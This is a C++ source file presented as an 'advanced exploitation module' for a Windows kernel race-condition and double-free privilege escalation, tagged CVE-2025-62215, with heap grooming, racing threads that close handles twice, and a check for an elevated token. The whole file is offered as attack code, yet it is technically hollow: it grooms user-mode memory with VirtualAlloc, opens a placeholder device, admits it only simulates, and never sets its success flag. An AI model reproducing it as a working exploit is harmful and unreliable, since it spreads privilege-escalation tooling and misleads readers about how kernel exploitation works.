Windows Kernel Elevation of Privilege - Race Condition / Double-Free (CVE-2025-62215)

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/*
 * CVE-2025-62215 Advanced Exploitation Module
 * 
 * This module contains more sophisticated exploitation techniques
 * including kernel object manipulation and heap grooming strategies
 */

#include <windows.h>
#include <winternl.h>
#include <iostream>
#include <vector>
#include <thread>
#include <atomic>
#include <random>

// Advanced kernel structure definitions
typedef struct _VULNERABLE_KERNEL_OBJECT {
    ULONG Magic;
    ULONG Size;
    PVOID Callback;
    ULONG ReferenceCount;
    PVOID UserData;
    LIST_ENTRY ListEntry;
} VULNERABLE_KERNEL_OBJECT, *PVULNERABLE_KERNEL_OBJECT;

// Heap grooming structures
typedef struct _GROOM_CHUNK {
    PVOID Address;
    SIZE_T Size;
    ULONG Pattern;
} GROOM_CHUNK, *PGROOM_CHUNK;

class ExploitEngine {
private:
    std::vector<HANDLE> m_handles;
    std::vector<PVOID> m_allocations;
    std::atomic<bool> m_race_triggered;
    std::mt19937 m_rng;

public:
    ExploitEngine() : m_race_triggered(false), m_rng(std::random_device{}()) {}
    
    ~ExploitEngine() {
        Cleanup();
    }

    // Advanced heap grooming
    bool GroomHeap(SIZE_T chunk_size, int num_chunks) {
        std::cout << "[*] Grooming heap with " << num_chunks << " chunks of size 0x" 
                  << std::hex << chunk_size << std::dec << std::endl;

        for (int i = 0; i < num_chunks; i++) {
            PVOID chunk = VirtualAlloc(
                NULL,
                chunk_size,
                MEM_COMMIT | MEM_RESERVE,
                PAGE_READWRITE
            );

            if (!chunk) {
                std::cerr << "[!] Failed to allocate chunk " << i << std::endl;
                continue;
            }

            // Fill with controlled pattern
            ULONG pattern = 0x41414141 + (i % 0x100);
            memset(chunk, pattern & 0xFF, chunk_size);
            
            m_allocations.push_back(chunk);
        }

        std::cout << "[+] Allocated " << m_allocations.size() << " groom chunks" << std::endl;
        return m_allocations.size() > 0;
    }

    // Create kernel objects to trigger vulnerable path
    bool CreateVulnerableObjects(int count) {
        std::cout << "[*] Creating " << count << " kernel objects..." << std::endl;

        for (int i = 0; i < count; i++) {
            HANDLE hObject = INVALID_HANDLE_VALUE;
            
            // This would use the actual vulnerable IOCTL or syscall
            // For PoC, we simulate with file operations
            WCHAR path[MAX_PATH];
            swprintf_s(path, L"\\\\.\\VulnerableDevice%d", i);
            
            hObject = CreateFileW(
                path,
                GENERIC_READ | GENERIC_WRITE,
                0,
                NULL,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                NULL
            );

            if (hObject != INVALID_HANDLE_VALUE) {
                m_handles.push_back(hObject);
            }
        }

        std::cout << "[+] Created " << m_handles.size() << " objects" << std::endl;
        return m_handles.size() > 0;
    }

    // Trigger race condition with precise timing
    bool TriggerRaceCondition(int num_threads) {
        std::cout << "[*] Triggering race condition with " << num_threads << " threads..." << std::endl;

        std::vector<HANDLE> threads;
        
        for (int i = 0; i < num_threads; i++) {
            HANDLE hThread = CreateThread(
                NULL,
                0,
                RaceThreadProc,
                this,
                0,
                NULL
            );

            if (hThread) {
                threads.push_back(hThread);
                // Stagger thread starts
                Sleep(m_rng() % 5);
            }
        }

        // Wait for race condition
        DWORD timeout = 3000;
        DWORD result = WaitForMultipleObjects(
            (DWORD)threads.size(),
            threads.data(),
            FALSE,
            timeout
        );

        // Cleanup threads
        for (HANDLE h : threads) {
            CloseHandle(h);
        }

        return m_race_triggered.load();
    }

    // Thread procedure for race condition
    static DWORD WINAPI RaceThreadProc(LPVOID lpParam) {
        ExploitEngine* engine = (ExploitEngine*)lpParam;
        
        // Rapidly manipulate kernel objects
        for (int i = 0; i < 1000; i++) {
            if (engine->m_handles.size() > 0) {
                size_t idx = engine->m_rng() % engine->m_handles.size();
                HANDLE h = engine->m_handles[idx];
                
                // Close and potentially trigger double-free
                CloseHandle(h);
                
                // Small delay to increase race window
                Sleep(0);
                
                // Try to use handle after potential free
                // This is where double-free occurs
                if (i % 50 == 0) {
                    CloseHandle(h);  // Potential double-free
                }
            }

            if (engine->m_race_triggered.load()) {
                break;
            }
        }

        return 0;
    }

    // Verify exploitation success
    bool VerifyExploitation() {
        HANDLE hToken;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
            return false;
        }

        TOKEN_ELEVATION elevation;
        DWORD dwSize;
        bool success = false;

        if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
            if (elevation.TokenIsElevated) {
                success = true;
                std::cout << "[+] Privilege escalation verified!" << std::endl;
            }
        }

        CloseHandle(hToken);
        return success;
    }

    void Cleanup() {
        // Close all handles
        for (HANDLE h : m_handles) {
            if (h != INVALID_HANDLE_VALUE) {
                CloseHandle(h);
            }
        }
        m_handles.clear();

        // Free all allocations
        for (PVOID ptr : m_allocations) {
            if (ptr) {
                VirtualFree(ptr, 0, MEM_RELEASE);
            }
        }
        m_allocations.clear();
    }
};

// Main advanced exploitation function
bool AdvancedExploit() {
    std::cout << "[*] Starting advanced exploitation..." << std::endl;

    ExploitEngine engine;

    // Phase 1: Heap grooming
    if (!engine.GroomHeap(0x1000, 200)) {
        std::cerr << "[!] Heap grooming failed" << std::endl;
        return false;
    }

    // Phase 2: Create vulnerable objects
    if (!engine.CreateVulnerableObjects(50)) {
        std::cerr << "[!] Failed to create vulnerable objects" << std::endl;
        return false;
    }

    // Phase 3: Trigger race condition
    if (!engine.TriggerRaceCondition(16)) {
        std::cerr << "[!] Race condition not triggered" << std::endl;
        return false;
    }

    // Phase 4: Verify exploitation
    if (engine.VerifyExploitation()) {
        std::cout << "[+] Advanced exploitation successful!" << std::endl;
        return true;
    }

    std::cout << "[!] Advanced exploitation failed" << std::endl;
    return false;
}